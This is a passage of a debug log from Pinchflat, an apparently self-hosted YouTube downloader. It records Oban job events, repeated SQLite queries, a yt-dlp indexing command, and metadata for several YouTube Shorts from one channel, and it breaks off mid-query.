[info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:00.178 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:21:17.776 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:47.778 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:50.372 [info] GET / 19:21:50.372 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 19:21:50.372 [debug] QUERY OK source="settings" db=0.1ms idle=1590.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:21:50.373 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1590.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 19:21:50.373 [debug] QUERY OK source="sources" db=0.0ms idle=1590.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 19:21:50.374 [debug] QUERY OK source="media_items" db=1.0ms idle=1094.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:21:50.374 [debug] QUERY OK source="media_items" db=0.3ms idle=94.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:21:50.375 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:21:50.375 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:21:50.375 [debug] QUERY OK source="settings" db=0.1ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:21:50.376 [debug] QUERY OK source="tasks" db=0.1ms idle=2.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:21:50.377 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:21:50.377 [debug] QUERY OK source="media_items" db=0.3ms idle=2.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:21:50.378 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 19:21:50.380 [debug] QUERY OK source="media_items" db=1.3ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 19:21:50.381 [debug] QUERY OK source="media_items" db=0.8ms idle=4.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:21:50.382 [info] Sent 200 in 9ms 19:21:56.294 [info] {"args":{"id":1},"id":17077,"meta":{},"system_time":1787192516293918945,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:21:56.294 [debug] QUERY OK source="sources" db=0.1ms idle=511.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:21:56.294 [debug] QUERY OK source="settings" db=0.1ms idle=512.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:21:56.295 [debug] QUERY OK source="media_items" db=0.2ms idle=512.4ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 19:21:56.295 [debug] QUERY OK source="media_items" db=0.2ms idle=7.9ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 19:21:56.295 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:21:56.296 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:21:56.296 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:21:56.301 [debug] QUERY OK source="media_items" db=0.1ms idle=5.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [1] 19:21:56.302 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 19:21:56.302 [debug] Current batch of media processed. Will check again in 1000ms 19:21:56.302 [debug] QUERY OK source="settings" db=0.2ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:21:56.302 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:21:56.302 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:21:56.303 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@MichaelSukutJesus --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Michael Sukut/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/79/2e/792e6e6731bdc43ee8725b1ca09b948ac52d08010b8cc7847ab143a5c6aed997.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/93/9c/939ce63c5805a04847f4faf0e2c1fdeee26ed2669992062cfe7a930681942ed3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:21:57.303 [debug] Current batch of media processed. Will check again in 1000ms 19:21:58.304 [debug] Current batch of media processed. Will check again in 1000ms 19:21:59.305 [debug] Current batch of media processed. Will check again in 1000ms 19:22:00.179 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:22:00.306 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", "id" => "BSkDL35jiAY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/BSkDL35jiAY", "playlist_index" => 1, "timestamp" => 1749158462, "title" => "Demons. Pt.10", "upload_date" => "20250605"} 19:22:00.307 [debug] QUERY OK source="sources" db=0.3ms idle=524.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:22:00.307 [debug] QUERY OK source="sources" db=0.2ms idle=524.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:00.308 [debug] QUERY OK source="media_items" db=0.2ms idle=525.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 21:21:02Z], 1] 19:22:00.309 [debug] QUERY OK source="media_items" db=0.7ms idle=128.7ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.10", "7c9c45a0-c5a6-4e1b-9b42-099304762441", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", 1, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 21:21:02Z], ~U[2026-08-20 02:22:00Z], ~U[2026-08-20 02:22:00Z], "", "Demons. Pt.10", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", true, 1, ~U[2025-06-05 21:21:02Z]] 19:22:00.309 [debug] QUERY OK source="sources" db=0.2ms idle=17.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:00.309 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:22:00.310 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1] 19:22:00.310 [debug] Current batch of media processed. Will check again in 1000ms 19:22:01.311 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 173, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", "id" => "uObiA41rItQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/uObiA41rItQ", "playlist_index" => 2, "timestamp" => 1749157148, "title" => "Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "upload_date" => "20250605"} 19:22:01.312 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:22:01.312 [debug] QUERY OK source="sources" db=0.1ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:01.313 [debug] QUERY OK source="media_items" db=0.2ms idle=1003.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:59:08Z], 1] 19:22:01.314 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "9504700b-a848-421a-9cd0-561df4560f74", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", 2, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:59:08Z], ~U[2026-08-20 02:22:01Z], ~U[2026-08-20 02:22:01Z], "", "Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", true, 1, ~U[2025-06-05 20:59:08Z]] 19:22:01.314 [debug] QUERY OK source="sources" db=0.1ms idle=21.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:01.314 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:22:01.315 [debug] QUERY OK source="media_items" db=0.1ms idle=2.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2] 19:22:01.315 [debug] Current batch of media processed. Will check again in 1000ms 19:22:02.316 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", "id" => "vmwlPoPSyiY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/vmwlPoPSyiY", "playlist_index" => 3, "timestamp" => 1749155297, "title" => "Demons. Pt. 8. Melchizedek pt.2", "upload_date" => "20250605"} 19:22:02.317 [debug] QUERY OK source="sources" db=0.3ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN 